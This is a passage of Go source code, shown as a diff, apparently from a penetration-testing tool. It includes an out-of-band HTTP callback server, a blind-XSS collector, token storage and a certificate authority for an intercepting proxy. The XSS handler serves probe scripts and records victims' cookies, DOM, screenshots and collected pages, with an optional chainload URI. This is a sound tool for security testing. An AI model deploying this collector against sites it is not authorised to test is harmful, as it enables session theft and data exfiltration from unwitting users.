Handler: http.HandlerFunc(s.handle),
|
||||
ReadHeaderTimeout: 10 * time.Second,
|
||||
ReadTimeout: 60 * time.Second,
|
||||
WriteTimeout: 60 * time.Second,
|
||||
IdleTimeout: 60 * time.Second,
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// WithTLS configures a parallel HTTPS listener on the given port.
|
||||
func (h *HTTPServer) WithTLS(tlsCfg *tls.Config, port int) {
|
||||
h.httpsPort = port
|
||||
h.httpsSrv = &http.Server{
|
||||
Addr: fmt.Sprintf("%s:%d", h.bindAddr, port),
|
||||
Handler: http.HandlerFunc(h.handle),
|
||||
TLSConfig: tlsCfg,
|
||||
ReadHeaderTimeout: 10 * time.Second,
|
||||
ReadTimeout: 60 * time.Second,
|
||||
WriteTimeout: 60 * time.Second,
|
||||
IdleTimeout: 60 * time.Second,
|
||||
}
|
||||
}
|
||||
|
||||
// Start begins listening. It blocks until ctx is cancelled.
|
||||
func (h *HTTPServer) Start(ctx context.Context) error {
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
h.srv.Shutdown(shutCtx) //nolint:errcheck
|
||||
if h.httpsSrv != nil {
|
||||
h.httpsSrv.Shutdown(shutCtx) //nolint:errcheck
|
||||
}
|
||||
}()
|
||||
|
||||
if h.httpsSrv != nil {
|
||||
go func() {
|
||||
if err := h.httpsSrv.ListenAndServeTLS("", ""); err != http.ErrServerClosed {
|
||||
log.Printf("HTTPS callback server: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if err := h.srv.ListenAndServe(); err != http.ErrServerClosed {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *HTTPServer) handle(w http.ResponseWriter, r *http.Request) {
|
||||
// Route XSS Hunter paths before token correlation.
|
||||
if strings.HasPrefix(r.URL.Path, "/_xss/") {
|
||||
h.handleXSS(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
cfg, _ := h.store.GetConfig()
|
||||
domain := cfg.Domain
|
||||
|
||||
host := r.Host
|
||||
if hostname, _, err := net.SplitHostPort(host); err == nil {
|
||||
host = hostname
|
||||
}
|
||||
|
||||
token, err := Correlate(h.store, host, domain)
|
||||
if err != nil {
|
||||
http.Error(w, "79cb7b990dd6d0d8eac756c92ccc04b6", http.StatusOK)
|
||||
return
|
||||
}
|
||||
|
||||
sourceIP, _, _ := net.SplitHostPort(r.RemoteAddr)
|
||||
|
||||
// Read body
|
||||
bodyBytes, _ := io.ReadAll(io.LimitReader(r.Body, 1<<20)) // 1MB limit
|
||||
r.Body.Close()
|
||||
|
||||
// Dump headers as JSON
|
||||
headersJSON, _ := json.Marshal(r.Header)
|
||||
|
||||
// Dump raw request
|
||||
rawReq, _ := httputil.DumpRequest(r, false)
|
||||
rawFull := append(rawReq, bodyBytes...)
|
||||
|
||||
id := make([]byte, 16)
|
||||
rand.Read(id) //nolint:errcheck
|
||||
interaction := &Interaction{
|
||||
ID: hex.EncodeToString(id),
|
||||
TokenID: token.ID,
|
||||
Token: token.Token,
|
||||
Type: "http",
|
||||
SourceIP: sourceIP,
|
||||
Timestamp: time.Now().UTC(),
|
||||
Method: r.Method,
|
||||
Path: r.URL.RequestURI(),
|
||||
Headers: string(headersJSON),
|
||||
Body: base64.StdEncoding.EncodeToString(bodyBytes),
|
||||
RawRequest: base64.StdEncoding.EncodeToString(rawFull),
|
||||
}
|
||||
|
||||
if err := h.store.RecordInteraction(interaction); err != nil {
|
||||
log.Printf("callback http: record interaction: %v", err)
|
||||
}
|
||||
h.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
|
||||
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprintln(w, "79cb7b990dd6d0d8eac756c92ccc04b6")
|
||||
}
|
||||
|
||||
func (h *HTTPServer) handleXSS(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Access-Control-Allow-Origin", "*")
|
||||
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
|
||||
w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
|
||||
|
||||
if r.Method == http.MethodOptions {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
return
|
||||
}
|
||||
|
||||
path := strings.TrimPrefix(r.URL.Path, "/_xss/")
|
||||
|
||||
// POST /_xss/callback — receive XSS fire data.
|
||||
if path == "callback" && r.Method == http.MethodPost {
|
||||
h.handleXSSCallback(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
// POST /_xss/page_callback — receive collected page data.
|
||||
if path == "page_callback" && r.Method == http.MethodPost {
|
||||
h.handleXSSPageCallback(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
// GET /_xss/html2canvas.min.js — serve embedded html2canvas library.
|
||||
if path == "html2canvas.min.js" && r.Method == http.MethodGet {
|
||||
w.Header().Set("Content-Type", "application/javascript")
|
||||
w.Header().Set("Cache-Control", "public, max-age=86400")
|
||||
w.Write(xsshunter.Html2canvasJS)
|
||||
return
|
||||
}
|
||||
|
||||
// GET /_xss/<probeHex> — serve probe JavaScript.
|
||||
if r.Method == http.MethodGet && path != "" {
|
||||
h.handleXSSProbeJS(w, r, path)
|
||||
return
|
||||
}
|
||||
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
|
||||
func (h *HTTPServer) handleXSSProbeJS(w http.ResponseWriter, r *http.Request, probeHex string) {
|
||||
if h.xssStore == nil {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
probe, err := h.xssStore.FindProbeByHex(probeHex)
|
||||
if err != nil {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
cfg, _ := h.store.GetConfig()
|
||||
scheme := "http"
|
||||
host := r.Host
|
||||
port := h.port
|
||||
if r.TLS != nil {
|
||||
scheme = "https"
|
||||
if h.httpsPort > 0 {
|
||||
port = h.httpsPort
|
||||
}
|
||||
}
|
||||
if cfg.Domain != "" {
|
||||
host = cfg.Domain
|
||||
if (scheme == "http" && port != 80) || (scheme == "https" && port != 443) {
|
||||
host = fmt.Sprintf("%s:%d", cfg.Domain, port)
|
||||
}
|
||||
}
|
||||
callbackBase := fmt.Sprintf("%s://%s", scheme, host)
|
||||
|
||||
// Parse per-probe collect pages; fall back to global config.
|
||||
var collectPages []string
|
||||
if probe.CollectPages != "" {
|
||||
json.Unmarshal([]byte(probe.CollectPages), &collectPages) //nolint:errcheck
|
||||
}
|
||||
if len(collectPages) == 0 {
|
||||
if globalPages, _ := h.store.GetConfigValue("xss_collect_pages"); globalPages != "" {
|
||||
json.Unmarshal([]byte(globalPages), &collectPages) //nolint:errcheck
|
||||
}
|
||||
}
|
||||
|
||||
// Per-probe chainload URI; fall back to global config.
|
||||
chainloadURI := probe.ChainloadURI
|
||||
if chainloadURI == "" {
|
||||
chainloadURI, _ = h.store.GetConfigValue("xss_chainload_uri")
|
||||
}
|
||||
|
||||
js := xsshunter.ProbeJS(callbackBase, probeHex, collectPages, chainloadURI)
|
||||
|
||||
w.Header().Set("Content-Type", "application/javascript")
|
||||
w.Header().Set("Cache-Control", "no-store")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprint(w, js)
|
||||
}
|
||||
|
||||
func (h *HTTPServer) handleXSSCallback(w http.ResponseWriter, r *http.Request) {
|
||||
if h.xssStore == nil {
|
||||
http.Error(w, "not configured", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
|
||||
bodyBytes, _ := io.ReadAll(io.LimitReader(r.Body, 5<<20)) // 5MB limit
|
||||
r.Body.Close()
|
||||
|
||||
var payload struct {
|
||||
ProbeID string `json:"probeId"`
|
||||
URL string `json:"url"`
|
||||
Origin string `json:"origin"`
|
||||
Referrer string `json:"referrer"`
|
||||
UserAgent string `json:"userAgent"`
|
||||
Cookies string `json:"cookies"`
|
||||
PageTitle string `json:"pageTitle"`
|
||||
DOM string `json:"dom"`
|
||||
Screenshot string `json:"screenshot"`
|
||||
PageText string `json:"pageText"`
|
||||
InIframe bool `json:"inIframe"`
|
||||
BrowserTime string `json:"browserTime"`
|
||||
InjectionKey string `json:"injectionKey"`
|
||||
}
|
||||
|
||||
if err := json.Unmarshal(bodyBytes, &payload); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
probe, err := h.xssStore.FindProbeByHex(payload.ProbeID)
|
||||
if err != nil {
|
||||
http.Error(w, "unknown probe", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
sourceIP, _, _ := net.SplitHostPort(r.RemoteAddr)
|
||||
|
||||
id := make([]byte, 16)
|
||||
rand.Read(id) //nolint:errcheck
|
||||
|
||||
fire := &xsshunter.Fire{
|
||||
ID: hex.EncodeToString(id),
|
||||
ProbeID: probe.ID,
|
||||
ProbeToken: probe.ProbeID,
|
||||
URL: payload.URL,
|
||||
Origin: payload.Origin,
|
||||
Referrer: payload.Referrer,
|
||||
UserAgent: payload.UserAgent,
|
||||
Cookies: payload.Cookies,
|
||||
PageTitle: payload.PageTitle,
|
||||
DOM: payload.DOM,
|
||||
Screenshot: payload.Screenshot,
|
||||
PageText: payload.PageText,
|
||||
SourceIP: sourceIP,
|
||||
InIframe: payload.InIframe,
|
||||
BrowserTime: payload.BrowserTime,
|
||||
InjectionKey: payload.InjectionKey,
|
||||
FiredAt: time.Now().UTC(),
|
||||
}
|
||||
|
||||
if err := h.xssStore.RecordFire(fire); err != nil {
|
||||
log.Printf("xss callback: record fire: %v", err)
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
h.broadcast <- event.WSEvent{Type: "xss.fire", Data: fire}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
json.NewEncoder(w).Encode(map[string]string{"id": fire.ID})
|
||||
}
|
||||
|
||||
func (h *HTTPServer) handleXSSPageCallback(w http.ResponseWriter, r *http.Request) {
|
||||
if h.xssStore == nil {
|
||||
http.Error(w, "not configured", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
|
||||
bodyBytes, _ := io.ReadAll(io.LimitReader(r.Body, 5<<20))
|
||||
r.Body.Close()
|
||||
|
||||
var payload struct {
|
||||
FireID string `json:"fireId"`
|
||||
ProbeID string `json:"probeId"`
|
||||
URL string `json:"url"`
|
||||
HTML string `json:"html"`
|
||||
}
|
||||
|
||||
if err := json.Unmarshal(bodyBytes, &payload); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Determine fire ID: use provided fireId, or find the most recent fire for this probe.
|
||||
fireID := payload.FireID
|
||||
if fireID == "" && payload.ProbeID != "" {
|
||||
if fire, err := h.xssStore.FindRecentFireByProbeHex(payload.ProbeID); err == nil {
|
||||
fireID = fire.ID
|
||||
}
|
||||
}
|
||||
if fireID == "" {
|
||||
http.Error(w, "cannot correlate page to fire", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
id := make([]byte, 16)
|
||||
rand.Read(id) //nolint:errcheck
|
||||
|
||||
page := &xsshunter.CollectedPage{
|
||||
ID: hex.EncodeToString(id),
|
||||
FireID: fireID,
|
||||
URL: payload.URL,
|
||||
HTML: payload.HTML,
|
||||
CollectedAt: time.Now().UTC(),
|
||||
}
|
||||
|
||||
if err := h.xssStore.RecordCollectedPage(page); err != nil {
|
||||
log.Printf("xss page callback: record page: %v", err)
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
h.broadcast <- event.WSEvent{Type: "xss.page", Data: page}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
json.NewEncoder(w).Encode(map[string]string{"id": page.ID})
|
||||
}
|
||||
@@ -0,0 +1,233 @@
|
||||
package callback
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Token represents a callback token.
|
||||
type Token struct {
|
||||
ID string `json:"id"`
|
||||
Note string `json:"note"`
|
||||
Token string `json:"token"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
HitCount int `json:"hitCount"`
|
||||
}
|
||||
|
||||
// Interaction represents a recorded callback interaction (DNS or HTTP).
|
||||
type Interaction struct {
|
||||
ID string `json:"id"`
|
||||
TokenID string `json:"tokenId"`
|
||||
Token string `json:"token"`
|
||||
Type string `json:"type"`
|
||||
SourceIP string `json:"sourceIp"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
QueryName string `json:"queryName,omitempty"`
|
||||
QueryType string `json:"queryType,omitempty"`
|
||||
Method string `json:"method,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Headers string `json:"headers,omitempty"`
|
||||
Body string `json:"body,omitempty"`
|
||||
RawRequest string `json:"rawRequest,omitempty"`
|
||||
Source string `json:"source,omitempty"`
|
||||
}
|
||||
|
||||
// CallbackConfig holds callback server configuration.
|
||||
type CallbackConfig struct {
|
||||
Domain string `json:"domain"`
|
||||
ResponseIP string `json:"responseIp"`
|
||||
}
|
||||
|
||||
// Store provides CRUD operations for tokens and interactions.
|
||||
type Store struct {
|
||||
db *sql.DB
|
||||
}
|
||||
|
||||
// NewStore creates a new Store.
|
||||
func NewStore(db *sql.DB) *Store {
|
||||
return &Store{db: db}
|
||||
}
|
||||
|
||||
// CreateToken inserts a new token.
|
||||
func (s *Store) CreateToken(id, note, hex string) (*Token, error) {
|
||||
now := time.Now().UTC()
|
||||
_, err := s.db.Exec(
|
||||
"INSERT INTO tokens (id, note, token, created_at) VALUES (?, ?, ?, ?)",
|
||||
id, note, hex, now,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Token{ID: id, Note: note, Token: hex, CreatedAt: now}, nil
|
||||
}
|
||||
|
||||
// ListTokens returns all tokens with their hit counts.
|
||||
func (s *Store) ListTokens() ([]Token, error) {
|
||||
rows, err := s.db.Query(`
|
||||
SELECT t.id, t.note, t.token, t.created_at, COUNT(i.id) as hit_count
|
||||
FROM tokens t
|
||||
LEFT JOIN interactions i ON i.token_id = t.id
|
||||
GROUP BY t.id
|
||||
ORDER BY t.created_at DESC
|
||||
`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var tokens []Token
|
||||
for rows.Next() {
|
||||
var t Token
|
||||
if err := rows.Scan(&t.ID, &t.Note, &t.Token, &t.CreatedAt, &t.HitCount); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tokens = append(tokens, t)
|
||||
}
|
||||
return tokens, rows.Err()
|
||||
}
|
||||
|
||||
// DeleteToken deletes a token and cascades to interactions.
|
||||
func (s *Store) DeleteToken(id string) error {
|
||||
res, err := s.db.Exec("DELETE FROM tokens WHERE id = ?", id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return sql.ErrNoRows
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// FindTokenByHex looks up a token by its hex string.
|
||||
func (s *Store) FindTokenByHex(hex string) (*Token, error) {
|
||||
var t Token
|
||||
err := s.db.QueryRow(
|
||||
"SELECT id, note, token, created_at FROM tokens WHERE token = ?", hex,
|
||||
).Scan(&t.ID, &t.Note, &t.Token, &t.CreatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &t, nil
|
||||
}
|
||||
|
||||
// RecordInteraction inserts a new interaction.
|
||||
func (s *Store) RecordInteraction(i *Interaction) error {
|
||||
_, err := s.db.Exec(`
|
||||
INSERT INTO interactions (id, token_id, token, type, source_ip, timestamp,
|
||||
query_name, query_type, method, path, headers, body, raw_request)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
i.ID, i.TokenID, i.Token, i.Type, i.SourceIP, i.Timestamp,
|
||||
i.QueryName, i.QueryType, i.Method, i.Path, i.Headers, i.Body, i.RawRequest,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListInteractions returns interactions, optionally filtered by token ID.
|
||||
func (s *Store) ListInteractions(tokenID string, offset, limit int) ([]Interaction, int, error) {
|
||||
var total int
|
||||
var args []any
|
||||
|
||||
countQ := "SELECT COUNT(*) FROM interactions"
|
||||
listQ := `SELECT id, token_id, token, type, source_ip, timestamp,
|
||||
query_name, query_type, method, path, headers, body, raw_request
|
||||
FROM interactions`
|
||||
|
||||
if tokenID != "" {
|
||||
countQ += " WHERE token_id = ?"
|
||||
listQ += " WHERE token_id = ?"
|
||||
args = append(args, tokenID)
|
||||
}
|
||||
|
||||
if err := s.db.QueryRow(countQ, args...).Scan(&total); err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
|
||||
listQ += " ORDER BY timestamp DESC LIMIT ? OFFSET ?"
|
||||
listArgs := append(args, limit, offset)
|
||||
|
||||
rows, err := s.db.Query(listQ, listArgs...)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var items []Interaction
|
||||
for rows.Next() {
|
||||
var i Interaction
|
||||
var qn, qt, m, p, h, b, rr sql.NullString
|
||||
if err := rows.Scan(&i.ID, &i.TokenID, &i.Token, &i.Type, &i.SourceIP, &i.Timestamp,
|
||||
&qn, &qt, &m, &p, &h, &b, &rr); err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
i.QueryName = qn.String
|
||||
i.QueryType = qt.String
|
||||
i.Method = m.String
|
||||
i.Path = p.String
|
||||
i.Headers = h.String
|
||||
i.Body = b.String
|
||||
i.RawRequest = rr.String
|
||||
items = append(items, i)
|
||||
}
|
||||
return items, total, rows.Err()
|
||||
}
|
||||
|
||||
// ClearInteractions deletes interactions, optionally filtered by token ID.
|
||||
func (s *Store) ClearInteractions(tokenID string) error {
|
||||
if tokenID != "" {
|
||||
_, err := s.db.Exec("DELETE FROM interactions WHERE token_id = ?", tokenID)
|
||||
return err
|
||||
}
|
||||
_, err := s.db.Exec("DELETE FROM interactions")
|
||||
return err
|
||||
}
|
||||
|
||||
// GetConfig returns the callback configuration.
|
||||
func (s *Store) GetConfig() (*CallbackConfig, error) {
|
||||
cfg := &CallbackConfig{ResponseIP: "127.0.0.1"}
|
||||
s.db.QueryRow("SELECT value FROM config WHERE key = 'domain'").Scan(&cfg.Domain) //nolint:errcheck
|
||||
s.db.QueryRow("SELECT value FROM config WHERE key = 'response_ip'").Scan(&cfg.ResponseIP) //nolint:errcheck
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
// GetConfigValue returns a single config value by key.
|
||||
func (s *Store) GetConfigValue(key string) (string, error) {
|
||||
var val string
|
||||
err := s.db.QueryRow("SELECT value FROM config WHERE key = ?", key).Scan(&val)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return val, nil
|
||||
}
|
||||
|
||||
// SetConfigValue sets a single config value by key.
|
||||
func (s *Store) SetConfigValue(key, value string) error {
|
||||
_, err := s.db.Exec(
|
||||
"INSERT INTO config (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value",
|
||||
key, value,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetConfig saves the callback configuration.
|
||||
func (s *Store) SetConfig(cfg *CallbackConfig) error {
|
||||
tx, err := s.db.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback() //nolint:errcheck
|
||||
|
||||
for _, kv := range [][2]string{
|
||||
{"domain", cfg.Domain},
|
||||
{"response_ip", cfg.ResponseIP},
|
||||
} {
|
||||
_, err := tx.Exec(
|
||||
"INSERT INTO config (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value",
|
||||
kv[0], kv[1],
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package callback
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// GenerateToken creates a new token with a random 16-char hex identifier.
|
||||
func GenerateToken(store *Store, name string) (*Token, error) {
|
||||
b := make([]byte, 8)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hexStr := hex.EncodeToString(b)
|
||||
|
||||
id := make([]byte, 16)
|
||||
if _, err := rand.Read(id); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
idStr := hex.EncodeToString(id)
|
||||
|
||||
return store.CreateToken(idStr, name, hexStr)
|
||||
}
|
||||
|
||||
// Correlate extracts the token hex from a subdomain and looks it up.
|
||||
// For example, given "abc123def456.cb.example.com" with domain "cb.example.com",
|
||||
// it extracts "abc123def456" and looks up the token.
|
||||
func Correlate(store *Store, hostname, domain string) (*Token, error) {
|
||||
hostname = strings.TrimSuffix(hostname, ".")
|
||||
domain = strings.TrimSuffix(domain, ".")
|
||||
|
||||
if !strings.HasSuffix(hostname, "."+domain) {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
|
||||
sub := strings.TrimSuffix(hostname, "."+domain)
|
||||
// Take leftmost label
|
||||
parts := strings.SplitN(sub, ".", 2)
|
||||
label := parts[0]
|
||||
|
||||
// Token is first 16 hex chars
|
||||
if len(label) < 16 {
|
||||
return nil, sql.ErrNoRows
|
||||
}
|
||||
tokenHex := strings.ToLower(label[:16])
|
||||
|
||||
return store.FindTokenByHex(tokenHex)
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
package cert
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
// CA holds the certificate authority certificate and private key.
|
||||
type CA struct {
|
||||
Cert *x509.Certificate
|
||||
Key *ecdsa.PrivateKey
|
||||
CertPEM []byte
|
||||
}
|
||||
|
||||
// LoadOrCreate loads an existing CA from dataDir, or creates a new one if none exists.
|
||||
func LoadOrCreate(dataDir string) (*CA, error) {
|
||||
if err := os.MkdirAll(dataDir, 0700); err != nil {
|
||||
return nil, fmt.Errorf("creating data dir: %w", err)
|
||||
}
|
||||
|
||||
certPath := filepath.Join(dataDir, "ca.crt")
|
||||
keyPath := filepath.Join(dataDir, "ca.key")
|
||||
|
||||
if _, err := os.Stat(certPath); err == nil {
|
||||
return load(certPath, keyPath)
|
||||
}
|
||||
|
||||
return generate(certPath, keyPath)
|
||||
}
|
||||
|
||||
func load(certPath, keyPath string) (*CA, error) {
|
||||
certPEM, err := os.ReadFile(certPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading ca.crt: %w", err)
|
||||
}
|
||||
keyPEM, err := os.ReadFile(keyPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading ca.key: %w", err)
|
||||
}
|
||||
|
||||
certBlock, _ := pem.Decode(certPEM)
|
||||
if certBlock == nil {
|
||||
return nil, fmt.Errorf("invalid ca.crt PEM")
|
||||
}
|
||||
cert, err := x509.ParseCertificate(certBlock.Bytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing ca.crt: %w", err)
|
||||
}
|
||||
|
||||
keyBlock, _ := pem.Decode(keyPEM)
|
||||
if keyBlock == nil {
|
||||
return nil, fmt.Errorf("invalid ca.key PEM")
|
||||
}
|
||||
key, err := x509.ParseECPrivateKey(keyBlock.Bytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing ca.key: %w", err)
|
||||
}
|
||||
|
||||
return &CA{Cert: cert, Key: key, CertPEM: certPEM}, nil
|
||||
}
|
||||
|
||||
func generate(certPath, keyPath string) (*CA, error) {
|
||||
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generating CA key: %w", err)
|
||||
}
|
||||
|
||||
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generating serial: %w", err)
|
||||
}
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{
|
||||
CommonName: "Joro Proxy CA",
|
||||
Organization: []string{"Joro"},
|
||||
},
|
||||
NotBefore: time.Now().Add(-time.Hour),
|
||||
NotAfter: time.Now().Add(10 * 365 * 24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
|
||||
BasicConstraintsValid: true,
|
||||
IsCA: true,
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("creating CA cert: %w", err)
|
||||
}
|
||||
|
||||
cert, err := x509.ParseCertificate(certDER)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing new CA cert: %w", err)
|
||||
}
|
||||
|
||||
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
|
||||
|
||||
keyDER, err := x509.MarshalECPrivateKey(key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("marshaling CA key: %w", err)
|
||||
}
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
|
||||
|
||||
if err := os.WriteFile(certPath, certPEM, 0600); err != nil {
|
||||
return nil, fmt.Errorf("writing ca.crt: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(keyPath, keyPEM, 0600); err != nil {
|
||||
return nil, fmt.Errorf("writing ca.key: %w", err)
|
||||
}
|
||||
|
||||
return &CA{Cert: cert, Key: key, CertPEM: certPEM}, nil
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package cert
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Cache caches leaf TLS certificates per hostname to avoid regenerating them on every connection.
|
||||
type Cache struct {
|
||||
ca *CA
|
||||
store sync.Map // map[string]*tls.Certificate
|
||||
}
|
||||
|
||||
// NewCache creates a Cache backed by the given CA.
|
||||
func NewCache(ca *CA) *Cache {
|
||||
return &Cache{ca: ca}
|
||||
}
|
||||
|
||||
// Get returns a cached leaf cert for hostname, generating one if needed.
|
||||
func (c *Cache) Get(hostname string) (*tls.Certificate, error) {
|
||||
if v, ok := c.store.Load(hostname); ok {
|
||||
return v.(*tls.Certificate), nil
|
||||
}
|
||||
|
||||
cert, err := GenerateLeaf(c.ca, hostname)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Store with compare-and-swap to avoid thundering herd overwrites.
|
||||
actual, _ := c.store.LoadOrStore(hostname, cert)
|
||||
return actual.(*tls.Certificate), nil
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
package cert
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GenerateLeafMulti creates a TLS certificate covering multiple DNS names, signed by ca.
|
||||
// Supports wildcards (e.g. "*.example.com"). Uses 30-day validity.
|
||||
func GenerateLeafMulti(ca *CA, names []string) (*tls.Certificate, error) {
|
||||
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generating leaf key: %w", err)
|
||||
}
|
||||
|
||||
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generating serial: %w", err)
|
||||
}
|
||||
|
||||
cn := "localhost"
|
||||
if len(names) > 0 {
|
||||
cn = names[0]
|
||||
}
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{CommonName: cn},
|
||||
NotBefore: time.Now().Add(-time.Hour),
|
||||
NotAfter: time.Now().Add(30 * 24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
DNSNames: names,
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, template, ca.Cert, &key.PublicKey, ca.Key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("creating leaf cert: %w", err)
|
||||
}
|
||||
|
||||
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
|
||||
|
||||
keyDER, err := x509.MarshalECPrivateKey(key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("marshaling leaf key: %w", err)
|
||||
}
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
|
||||
|
||||
cert, err := tls.X509KeyPair(certPEM, keyPEM)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("creating key pair: %w", err)
|
||||
}
|
||||
|
||||
return &cert, nil
|
||||
}
|
||||
|
||||
// GenerateLeaf creates a short-lived TLS certificate for hostname, signed by ca.
|
||||
